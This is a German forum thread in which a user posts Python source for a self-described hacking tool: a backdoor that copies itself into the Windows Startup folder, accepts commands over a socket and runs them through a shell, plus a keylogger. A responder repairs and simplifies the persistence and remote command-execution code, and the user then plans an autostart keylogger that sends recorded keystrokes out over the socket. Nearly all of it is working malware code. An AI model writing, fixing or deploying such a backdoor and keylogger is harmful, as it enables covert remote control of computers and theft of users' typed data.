Hi,
ich habe ein kleines Hacktool geschrieben(Natürlich nur zu Testzwecken) mit einer Backdoor und einem Keylogger. Und ich habe folgendes Problem. Obwohl ich das ganze in einer while schleife geschrieben habe wird das versenden und recv mit socket nicht richtig ausgeführt. Es gibt keine Fehlermeldung und ich glaube das Problem liegt am Server und zwar genau bei dem Keylogger der mit der with funktion ausgeführt wird.
Hier ist der Server:
import shutil
import os
import getpass
import socket
import subprocess
import pynput
from pynput.keyboard import Key, Listener
import threading
username = getpass.getuser()
source = (os.path.abspath(os.getcwd()) + r'\spy.py')
destination = r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hack.pyw'.format(username)
shutil.copy(source, destination)
HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
server.listen(1)
def press(key):
print(key)
return False
def release(key):
return False
def accept():
while True:
client, client_addr = server.accept()
def main():
while True:
try:
with Listener(on_press=press, on_release=release) as l: #PROBLEMA
l.join()
command = client.recv(1024)
command = command.decode('utf-8')
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
client.send(output + output_error)
except:
1+1
a = threading.Thread(target=accept)
m = threading.Thread(target=main)
a.start()
m.start()
Client:
import socket
REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
while True:
try:
command = input('Enter Command : ')
command = command.encode('utf-8')
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode('utf-8')
print(f"Output: {output}")
except:
print('[!]Ein Fehler ist aufgetreten(Der Server ist entweder offline oder der Befehl sorgt für Probleme)')
ich würde mich sehr über eure Hilfe freuen
Hacktool mit Keylogger
Statt Pfade per Stringformatierung zusammenzubauen benutzt man pathlib.Path.
Du befindest dich automatisch im aktuellen Verzeichnis, das so kompliziert zu ermitteln ist also unnötig.
Was sollen die main- und accept-Threads? Der accept-Thread funktioniert gar nicht, weil client lokal ist und in main gar nicht definiert ist.
Socket-Programmierung funktioniert auch so nicht. Wie 99.999% aller Beispiele im Internet ist der Code einfach nur kaputt. Low-Level-Sockets möchtest Du nicht programmieren.
Statt subprocess.Popen reicht bei Dir subprocess.run. Dann vergisst Du auch nicht wait aufzurufen.
Benutze niemals nackte Excepts, denn so werden auch alle Deine Programmierfehler versteckt und Du kannst niemals die Fehler korrigieren.
Du befindest dich automatisch im aktuellen Verzeichnis, das so kompliziert zu ermitteln ist also unnötig.
Code: Alles auswählen
import shutil
from pathlib import Path
SOURCE = "spy.py"
DESTINATION = Path.home() / "AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/Hack.pyw"
shutil.copy(SOURCE, DESTINATION)
Socket-Programmierung funktioniert auch so nicht. Wie 99.999% aller Beispiele im Internet ist der Code einfach nur kaputt. Low-Level-Sockets möchtest Du nicht programmieren.
Statt subprocess.Popen reicht bei Dir subprocess.run. Dann vergisst Du auch nicht wait aufzurufen.
Benutze niemals nackte Excepts, denn so werden auch alle Deine Programmierfehler versteckt und Du kannst niemals die Fehler korrigieren.
Code: Alles auswählen
import socket
import subprocess
HOST = '127.0.0.1'
PORT = 8081
def main():
server = socket.socket()
server.bind((HOST, PORT))
server.listen(1)
while True:
client, client_addr = server.accept()
reader = client.makefile("r", encoding="utf-8")
writer = client.makefile("w", encoding="utf-8")
for command in reader:
process = subprocess.run(command.strip(), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
writer.write(process.stdout + process.stderr)
if __name__ == "__main__":
main()
wow danke für die Hilfe,
ich habe überlegt, wenn ich den KEylogger nicht in die while schleife einfügen kann könnte ich ihn doch auch als einzelne datei in die autostart datei einfügen, ihn alle seine daten in eine Text datei schreiben lassen und diese dann über spy.py per socket verschicken lassen.
ich habe überlegt, wenn ich den KEylogger nicht in die while schleife einfügen kann könnte ich ihn doch auch als einzelne datei in die autostart datei einfügen, ihn alle seine daten in eine Text datei schreiben lassen und diese dann über spy.py per socket verschicken lassen.